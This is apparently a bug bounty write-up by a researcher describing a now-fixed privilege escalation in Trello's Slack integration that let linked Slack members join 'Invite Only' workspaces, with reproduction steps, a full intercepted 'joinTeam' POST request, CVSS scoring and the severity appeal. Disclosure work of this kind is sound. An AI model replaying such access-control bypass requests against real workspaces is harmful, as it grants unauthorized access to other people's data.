Bypassing Trello's Gates: How I Escalated Privileges via Slack Integration and Scored a $1,200 Bounty

By Deev/techycodec08
March 17, 2025

Introduction

Ah, the thrill of the hunt! As a bug bounty hunter who's spent countless late nights dissecting APIs, ' intercepting requests, and chasing down those elusive vulnerabilities, there's nothing quite like uncovering a flaw that lets you slip past security controls like a digital ghost.
Back in March 2025, while exploring the integrations between popular collaboration tools, I stumbled upon a juicy Privilege Escalation in Trello.

Privilege Escalation Picture

This wasn't just any minor glitch—it allowed any member of a linked Slack workspace to self-join a Trello workspace, even when the owner had explicitly disabled self-joins and set it to "Invite Only."

What made this find extra satisfying? It earned me a cool $1,200 bounty from Atlassian (Trello's parent company) through Bugcrowd, after some back-and-forth on severity.

Trello Logo

The report was submitted on March 17, 2025, triaged quickly, bumped up to P3 priority, and finally resolved on June 10, 2025.
Now that it's disclosed, I'm excited to share the full, anonymized story—complete with technical deep dives, screenshots, and lessons learned.

Bug Discovery Timeline

If you're into bug bounties, cybersecurity, or just love seeing how interconnected apps can create unexpected attack vectors, buckle up. This one's a rollercoaster of access control fails, API wizardry, and real-world impact.

The Bug at a Glance

At its core, this was a Broken Access Control (BAC) vulnerability leading to privilege escalation, classified under the Vulnerability Rating Taxonomy (VRT) as BAC > Privilege Escalation.
The flaw? Trello's Slack integration didn't properly enforce the "Invite Only" setting for workspace joins.

Any user in the linked Slack workspace could bypass restrictions and add themselves to the Trello workspace, gaining full access to boards, cards, and sensitive data—without an invite or admin approval.

Slack Trello Integration Feature

Imagine this: You're a Trello workspace owner managing confidential projects, client data, or team strategies. You link your Slack workspace for seamless collaboration, but you toggle "Invite Only" to keep things locked down. Yet, any Slack teammate—even a new hire or contractor—could sneak in via a simple button click or API call. No alarms, no notifications, just instant access. This isn't theoretical; I proved it with a proof-of-concept (PoC) that worked every time.

The bounty? $1,200, plus 10 points on Bugcrowd. Not the biggest payout I've seen, but the satisfaction of getting it resolved and preventing potential data breaches? Priceless.

The Setup: When Collaboration Tools Collide

Trello and Slack are powerhouse tools for teams— Trello for visual project management with boards and cards, Slack for real-time chat.

Slack Logo

Their integration is a dream for productivity: Link your Slack workspace to Trello, and you can get notifications, create cards from messages, and more. But integrations like this are ripe for bugs because they bridge two ecosystems, each with its own auth models.

Invite Only Setting Screenshot

In Trello (requiring a Premium account for advanced workspace features), admins can control how Slack members join:

Invite Only Setting Screenshot
Invite Only Setting Screenshot

Sounds secure, right? Wrong.
The "Invite Only" toggle was more of a suggestion than a hard rule. I spotted this while testing integrations on my own accounts.
As a hunter, I always start with legitimate features—link accounts, tweak settings, then poke for weaknesses. Burp Suite was my trusty sidekick for intercepting and replaying requests.

The Discovery Process: From Curiosity to PoC

This bug didn't reveal itself overnight; it was a methodical hunt. I began by setting up test environments: One Trello workspace (as the "victim" owner) and a Slack workspace linked to it.
Then, I created an "attacker" account in Slack—not yet in Trello—to simulate an unauthorized user.

Step 1: Linking Workspaces and Locking Down Access

Logged into my Trello Premium account, I navigated to Workspace Settings and integrated Slack. Easy peasy—authorize the app, and boom, the workspaces are connected.

Integration Setup Screenshot

Next, I flipped the join setting to "Invite Only." This should block self-joins, right?
Trello even warns: "Members of your Slack workspace can only join when invited by you or another admin."

Invite Only Setting Screenshot

I added my attacker account to the Slack workspace but kept it out of Trello. Game on.

Step 2: The Attacker's Perspective – Sneaking In via UI

Switching to the attacker: Log into Slack, add the Trello app if not already there. Head to the Apps section, and there's Trello, ready to go.

Trello App in Slack Screenshot

Dive into the Trello integration's "Messages" subsection. Slack prompts: "Want to join a workspace you're already linked with?" And there's a shiny "Join" button staring back.

Join Prompt Screenshot

Click it, and... success!
The attacker is now a full Trello workspace member, despite "Invite Only." No email, no approval—just instant escalation.

If the UI prompt didn't appear (it sometimes didn't on first try), a quick workaround:
Type "/trello login" in any Slack channel. This logs you into Trello via Slack and surfaces the join option for linked workspaces.

/trello login Command Screenshot

Step 3: Going Deeper with API – The Manual Bypass

For reliability (and to make my report airtight), I intercepted the join request with Burp Suite.
Here's the raw POST request that seals the deal:

POST /api/chat.attachmentAction?_x_id=fc861004-1742211576.857&_x_csid=wq8zj27AO3A&slack_route=T08JN1VL2NL&_x_version_ts=1742207255&_x_frontend_build_type=current&_x_desktop_ia=4&_x_gantry=true&fp=a3&_x_num_retries=0 HTTP/2
Host: <Personel_Slack_Account>
Cookie: <SLACK_COOKIE>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----geckoformboundaryab7a35356138da9abc9fd861d93191b6
Content-Length: 1577
Origin: https://app.slack.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Priority: u=0
Te: trailers

------geckoformboundaryab7a35356138da9abc9fd861d93191b6
Content-Disposition: form-data; name="token"

<SLACK_TRELLO_INTEGRATION_TOKEN>
------geckoformboundaryab7a35356138da9abc9fd861d93191b6
Content-Disposition: form-data; name="payload"

{"actions":[{"id":"1","name":"joinTeam","text":"Join","type":"button","value":"{\"idTrelloTeam\":\"67bd3bb0a24f64da5ed76161\"}","style":""}],"attachment_id":"1","callback_id":"callback-joinTeam-ts:1742207561421","channel_id":"D08JNCJ1D08","message_ts":"1742207561.551579","prompt_app_install":false,"team_id":"T08JN1VL2NL"}
------geckoformboundaryab7a35356138da9abc9fd861d93191b6
Content-Disposition: form-data; name="client_token"

web-1742211576856
------geckoformboundaryab7a35356138da9abc9fd861d93191b6
Content-Disposition: form-data; name="service_id"

B08JN2FP49E
------geckoformboundaryab7a35356138da9abc9fd861d93191b6
Content-Disposition: form-data; name="bot_user_id"

U08JN2FP7K2
------geckoformboundaryab7a35356138da9abc9fd861d93191b6
Content-Disposition: form-data; name="_x_reason"

user_attachment_action_dispatch
------geckoformboundaryab7a35356138da9abc9fd861d93191b6
Content-Disposition: form-data; name="_x_mode"

online
------geckoformboundaryab7a35356138da9abc9fd861d93191b6
Content-Disposition: form-data; name="_x_sonic"

true
------geckoformboundaryab7a35356138da9abc9fd861d93191b6
Content-Disposition: form-data; name="_x_app_name"

client
------geckoformboundaryab7a35356138da9abc9fd861d93191b6--
        
Successful Join Response Screenshot

Key here: The payload field contains the "joinTeam" action with the Trello team ID. No auth checks beyond Slack membership. Replay this, and you're in.

I tested variations—different accounts, fresh workspaces—and it worked consistently. Why did I go the API route? To show it's not just a UI fluke; attackers could automate this for mass escalations.

The Impact: From Sneaky Joins to Data Nightmares

This bug wasn't harmless. Once in, the attacker gets full workspace access:

Attack scenario: A disgruntled Slack user joins covertly, downloads sensitive files, and vanishes.

No audit trail ties it back easily. In large orgs with shared Slack workspaces, this amplifies insider risks exponentially.

Assessing the Severity: My CVSS Breakdown

I initially pegged this at Medium, but Bugcrowd started at P4 (Low). After my reevaluation request with a detailed CVSS, it bumped to P3.

Here's my full CVSS v3.1 analysis:

Final Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N = 6.5 (Medium)

CVSS Calculator Screenshot

This score reflects the ease and integrity impact, justifying P3 over P4.

Reporting and the Bounty Journey

Submitted to Bugcrowd on March 17, 2025, at 12:49:07 UTC. Included steps, screenshots, API PoC, business impact, and CVSS.
Triaged as P4 initially, but I pushed back with a detailed response request on March 21, and this is exactly what I wrote to the Trello team to convience them for P3, which worked!!!

Hi Trello Team,
Thank you for triaging my recent submission regarding the privilege escalation vulnerability in the Trello-Slack integration. While I appreciate the initial assessment of Low severity, I respectfully request a reevaluation of this issue. Due to its impact on unauthorized privilege escalation and potential exposure of sensitive workspace data, I believe it warrants at least a medium severity rating (P3). Below, I’ve outlined the key details and reasoning to support this request.

Business Impact

This vulnerability directly undermines the privilege controls designed to restrict access to Trello workspaces. When the "Invite Only" setting is enabled, workspace owners expect that only explicitly invited users can join. However, any member of the linked Slack workspace—regardless of their authorization—can bypass this restriction and gain full membership privileges. Once inside, the attacker has unrestricted access to all boards, data, and sensitive information within the workspace. This significantly increases the risk of data exposure, especially in environments where Trello is used to manage confidential projects or client information.

The intended security model is rendered ineffective, as the integration fails to enforce the owner’s access control preferences. This is a clear privilege escalation issue, as an unprivileged user (a Slack workspace member without Trello access) elevates themselves to a privileged role (Trello workspace member) without authorization.

CVSS v3.1 Score Calculation

To provide an objective measure of the severity, I’ve calculated a CVSS v3.1 score based on the impact and exploitability of this vulnerability:

Final Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N = 6.5 (Medium)

Why Medium Severity is Warranted

I strongly believe this issue deserves a Medium severity classification (P3) rather than Low for the following reasons:

Conclusion

While I understand the initial Low severity rating may stem from a perception of limited scope or impact, I hope this detailed explanation and CVSS score clarify why this vulnerability poses a more significant risk. I’d be happy to provide additional details, test cases, or a demonstration if needed to assist in your reassessment. Thank you for your time and consideration—I look forward to your feedback.

Bugcrowd agreed, upping to P3 on March 24, awarding $1,200 and 10 points. Atlassian filed a ticket, and on June 10, marked it Resolved. I verified post-fix—no more sneaky joins!

Full report link (disclosed): Privilege Escalation Vulnerability - A Non-Workspace Member Can Self-Join other users Trello Workspace through Slack Integration

Lessons Learned: Sharpening the Hunter's Edge

This hunt reinforced key truths:

Fellow hunters: Scope integrations deeply—they're goldmines for BAC bugs.

Final Thoughts

Cracking this Trello-Slack privilege escalation was a blast, turning a simple integration into a bounty win. It highlights how even polished tools can falter at the seams, and why bug hunting keeps the web safer. Shoutout to Bugcrowd and Atlassian for the smooth process—here's to more finds!

HAPPY HUNTING!!!!!

Connect with Me